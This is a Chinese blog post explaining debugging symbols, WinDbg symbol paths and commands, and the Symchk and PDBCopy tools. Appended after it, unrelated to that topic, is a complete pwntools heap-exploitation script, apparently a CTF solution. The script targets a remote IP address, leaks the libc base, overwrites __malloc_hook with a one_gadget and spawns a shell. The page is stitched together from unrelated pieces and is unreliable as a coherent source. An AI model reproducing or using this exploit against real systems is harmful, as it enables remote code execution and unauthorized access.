Symbols Introduction

本文详细介绍了Symbol在.NET开发中的作用,包括Symbol的类型、路径以及如何通过Windbg查看Symbol数据。同时,文章提供了如何在Windbg中设置Symbol路径、重新加载Symbol以及使用Symchk和PDBCopy等工具的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

对于NET下的开发人员,可能对Symbol不了解的人还不少,因为MS给了我们太多方便的工具,让我们只需要去关注代码,对于其他的东西基本上不需要去关注,所以就养成了一个习惯(过多的依赖MS,依赖VS)。这里只是抛开VS,讲一下调试要用到的东西-Symbol。

Symbol能够包含以下的一些信息:

  • 全局变量
  • 局部变量
  • 函数名称, 参数
  • 结构体
  • 源代码行号

有三种类型的Symbol

  • export symbols
    是dll本身的一部分. 比如ntdll.dll和kernel32.dll暴露出很大一部分他们的函数, 以便于他们能够像API一样地调用, 但是大多数的dll会有很少的exported symbols. 大致上, export symbol不包含函数的参数信息, 并且因为暴露的函数实在太少, 所以当你只有export symbol的时候不能确定栈信息的正确性.
  • pdb symbols (public symbols)
    包含一些基本的符号信息, 比如说函数名和全局变量, 但是, 并不是所有的函数名都会在public symbol中暴露出来. dll的开发者可以选择暴露什么到public symbol中, 他可以隐藏任何它觉得会暴露过多的实现信息的信息.
  • private pdb symbols (private symbols)
    包含上面列出的所有信息.

在debugging的时候, symbols会跟各自的dll或者exe匹配起来, 匹配的桥梁是一个GUID. 这意味着, 哪怕在你的符号搜索路径下有多个版本的ntdll.pdb, debugger也会知道用哪一个与你当前版本的ntdll.dll进行匹配.

 

symbol的路径包括以下几个地点:

  • .sympath
  • dll被加载的目录
  • 环境变量_NT_SYMBOL_PATH指定的目录

摘译自:

Why do I get weird function names on my stack? (a discussion on symbols)

http://blogs.msdn.com/tess/archive/2005/12/05/why-do-i-get-weird-function-names-on-my-stack-a-discussion-on-symbols.aspx



认识Symbol

     用于程序调试的数据,它包含了调试中需要用到的各种数据,例如:全局变量、本地变量、函数名、函数类型、源代码行、程序入口地址.....,这些所有的东西都叫做Symbol。
     在windows系统中,windows2000将这些信息保存在.pdb和.dbg这些的文件中,而windowsXP和以后的版本都将这些信息保存在.pdb文件中。
     Symbol一般分为两种:Public和Private,其实我们应该很容易理解他们,就是允许公开的数据和私有的数据。我们在发布产品的时候,可以同时发布Symbol数据,对于Symbol数据发布的粒度,我们也是可以去查看和控制的(下面会介绍PDBCopy和Symchk)。
     在NET中,我们也可以看到VS生成的Symbols,在VS生成的DLL目录下面,我们除了DLL外,还可以看到另外的一类文件.pdb(如下图),VS能提供给我们这么大的调试能力和它是分不开的。

     同时,我们也可以在VS中去设定是否输出Symbols或输出Public或Private的Symbols。如下图,在"Debug Info"中设置


通过Windbg查看Symbols


在Windbg查看Symbols前,我们可以设置一些Symbol Option:
     例如:
          SYMOPT_NO_PUBLICS:屏蔽Public的Symbol [.symbol +0x8000]
          SYMOPT_AUTO_PUBLICS:Public和Private的Symbol  [.symbol +0x4000]
          SYMOPT_PUBLICS_ONLY:屏蔽Private的Symbol  [.symbol +0x10000]
          SYMOPT_DEBUG:当Windbg加载Symbol文件的时候,显示Symbol的路径,默认情况下是不显示的。
          打开命令[!sym noisy]

          关闭命令[!sym quiet]

     通过上面两个截图应该很容易看到区别了。

下面让我们用具体的命令来查看Symbol数据:

1、lm(命令):显示出程序运行加载的模块信息


2、!lmi [模块名]:显示模块的详细信息,并且还有命令(!db [模块名]),它显示的信息要比!lmi多些


3、X modulename!symbols(命令):显示出所有的Symbols数据或者是指定模块的Symbols数据



设置Windbg中的Sympath
    在Windbg中,运行上面的命令去查看Symbols数据,那么Windbg在什么地方去搜索这些数据呢?有些编译器会将这些pdb文件和dll文件或exe文件放在同一个目录下面,例如Visual Studio,所以通过VS调试的时候,VS会在dll的目录中搜索,不同用Windgb来调试程序的话,就需要我们来自己设置下搜索路径。
    1、设置Windbg的环境变量:_NT_SYMBOL_PATH和_NT_ALT_SYMBOL_PATH
       2、在命令行启动Windbg的时候,通过-y(command line)来设置,例如:windbg -y path
    3、.sympath和.symfix
     .sympath[+] [ Path [;  ...]]:指定一个新的路径

       .sympath:查看设置的路径


     .Symfix[+] [path]:设置指向Microsoft symbol store的Symbols文件路径
          等于sympatp[+] srv*DownstreamStore*http://msdl.microsoft.com/download/symbols(MS中所有Symbol文件的存放地址)
         4、通过Windbg的图形界面”File | Symbol file path”也可以设置

重新加载Symbol以及Symbol的状态


    Symbol的状态,我们可以先看下上面的图(lm命令),在每个模块名称后面都有deferred、export。下面简单说下它的几个状态:
    deferred:模块已经加载,但是模块的symbol文件并没有加载,这是属于延迟加载的,当需要的时候才加载,或者我们通过ld [模块名称](命令)来加载指定模块的symbol。
    export:没有对应的symbol文件,目前只能把dll或exe文件当做symbol来加载
    private:表示加载的是私有的Symbol
    public:表示加载的是共有的Symbol

    
    .reload(命令):重新加载Symbol
    当有些时候我们已经加载了symbol,但是该文件不存在,这时候我们把symbol文件从其他地方拷贝过来后,我们可以用该命令使windbg重新加载。

Symchk和PDBCopy


Symchk:用来检测Symbol文件和执行文件是否匹配
     symchk [/r]  FileNames /s  SymbolPath
看下下面的执行结果:


PDBCopy:用来分离Symbol,它可以将一个完整的Symbol文件分离成Public和Private的Symbol文件
1、把Private的Symbol删除,创建只有Public的Symbol
     pdbcopy mysymbols.pdb publicsymbols.pdb -p 
2、不仅删除Private的symbol,而且还可以删除Public中的一些指定数据
     pdbcopy mysymbols.pdb publicsymbols.pdb -p -f:@c:\delete.txt
     delete.txt就是指定需要删除的数据,例如希望去删除_myGlobal1和_myGlobal2这两个数据,那么你在该文件中只需要输入两行:
     _myGlobal1
     _myGlobal2


import os from pwn import * context(log_level='debug',os='linux',arch='amd64') # p = process('./1') p = remote("59.110.164.72",10027) #p = process(['/home/lin/tools/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./1'], env = {'LD_PRELOAD' : './libc-2.23.so'}) elf=ELF('./1') libc=ELF('./libc-2.23.so') def menu(choice):     p.sendlineafter(b"Your choice :",str(choice)) menu(1) def create(size,com):     menu(1)     # menu(1)     p.sendlineafter(b"Damage of skill : ",str(size))     p.sendlineafter(b"introduction of skill:",com) def edit_1(idx,size):     menu(2)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"Damage of skill : ",str(size)) def edit_intro(idx,com):     menu(3)     p.sendlineafter(b"Index :",str(idx))     p.sendlineafter(b"introduction of skill : ",com) def show(idx):     menu(4)     p.sendlineafter(b"Index :",str(idx)) def delete(idx):     menu(5)     p.sendlineafter(b"Index :",str(idx)) create(0x38,b'a'*0x38) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) create(0x68,b'a'*0x68) # gdb.attach(p) delete(3) edit_intro(0,b"b"*0x38+b"\xb1") delete(1) create(0x40,b"") show(1) p.recvuntil("Introduction : ") libc_base = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))-0x3c4c0a print (hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x23 print (hex(malloc_hook)) one = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = libc_base + one[3] print (hex(one_gadget)) edit_intro(1,p64(0)*3+p64(0x71)+p64(malloc_hook)) delete(0) delete(1) create(0x68,b"d"*8) # gdb.attach(p,"b *0x400cda") # pause() create(0x68,b"a"*19+p64(one_gadget)) menu(6) menu(2) ## get_shell p.interactive()
06-01
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值